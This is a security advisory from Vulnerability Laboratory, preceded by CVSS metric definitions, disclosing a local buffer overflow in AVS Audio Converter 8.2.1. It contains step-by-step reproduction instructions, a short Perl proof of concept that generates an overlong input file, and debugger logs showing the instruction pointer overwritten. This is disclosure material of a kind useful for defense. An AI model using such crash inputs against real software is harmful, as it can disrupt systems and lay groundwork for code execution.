The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
AVS Audio Converter 8.2.1 Buffer OverflowDocument Title:
===============
AVS Audio Converter 8.2.1 - Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1920
Release Date:
=============
2016-08-22
Vulnerability Laboratory ID (VL-ID):
====================================
1920
Common Vulnerability Scoring System:
====================================
6.3
Product & Service Introduction:
===============================
AVS Audio Editor is an audio file editor of its primary function is for editing audio files. It is able to
cut, join, combine or split audio files. All these operations are done with great precision to the hundredth
of a second. You can work with files in .wav formats, Mp3, Pcm, M4A, Flac and many others.
(Copy of the Vendor Homepage: http://www.avs4you.com/AVS-Audio-Converter.aspx )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the AVS Audio Converter 8.2.1 software.
Vulnerability Disclosure Timeline:
==================================
2016-08-22:Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
AVS4YOU
Product: AVS Audio Converter - Software 8.2.1
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official software AVS Audio Converter V8.2.1.
The vulnerability allows local attackers to overwrite registers to compromise the local software process.
Vulnerability classic buffer overflow is in the AVS Audio Converter. An attacker can manipulate the
bit EIP register to execute the next instruction of their choice. Attackers can eg
execute arbitrary code with the privileges of the process. The attacker has a large unicode string to crush
the EIP register process. Finally, the attacker is able to process the takeover by a crushing of the
active program process to compromise the computer system.
Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Download and install the AVS Audio Converter.exe
2. Run the code via perl script or perl
3. A file format (poc.txt) will be created
4. Open the generated file (poc.txt)
5. Start the AVS Audio Converter software
6. Attach a debugger like windbg, immunity or ollydbg
7. Load the path location by software interaction or copy paste the file characters AAAAAAAAA+... as input to the Output Folder
8. Click to Browse function for the path
9. Software will crash with unhandled exception and critical access violation
10. Watch the debugger logs were the eip is overwritten
11. Interact to manipulate the followup address
12. Successful reproduce of the local buffer overflow vulnerability!
PoC: Exploitation (Perl)
#!/usr/bin/perl
my $Buff = "x41" x 9000;
open(MYFILE,'>>poc.txt');
print MYFILE $Buff;
close(MYFILE);
print "Local BOF PoC by ZwXn";
--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77db38a0 esi=00000000 edi=00000000
eip=41414141 esp=0014f578 ebp=0014f598 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
0:000> d 0014fab4
0014fab4 41414141
0014fab8 41414141
0014fabc 41414141
0014fac0 41414141
0014fac4 41414141
0014fac8 41414141
0014facc 41414141
0014fad0 41414141
0014fad4 41414141
0014fad8 41414141
0014fadc 41414141
0014fae0 41414141
0014fae4 41414141
0014fae8 41414141
0014faec 41414141
0014faf0 41414141
0014faf4 41414141
0014faf8 41414141
0014fafc 41414141
0014fb00 41414141
0014fb04 41414141
0014fb08 41414141
0014fb0c 41414141
0014fb10 41414141
0014fb14 41414141
0014fb18 41414141
0014fb1c 41414141
0014fb20 41414141
0014fb24 41414141
0014fb28 41414141
0014fb2c 41414141
0014fb30 41414141
Note: The access violation with the exception and followup offsets shows that the ecx & eip was overwritten.
Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the avs software is estimated as high. (CVSS 6.3)
Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]
Disclaimer & Information:
=========================
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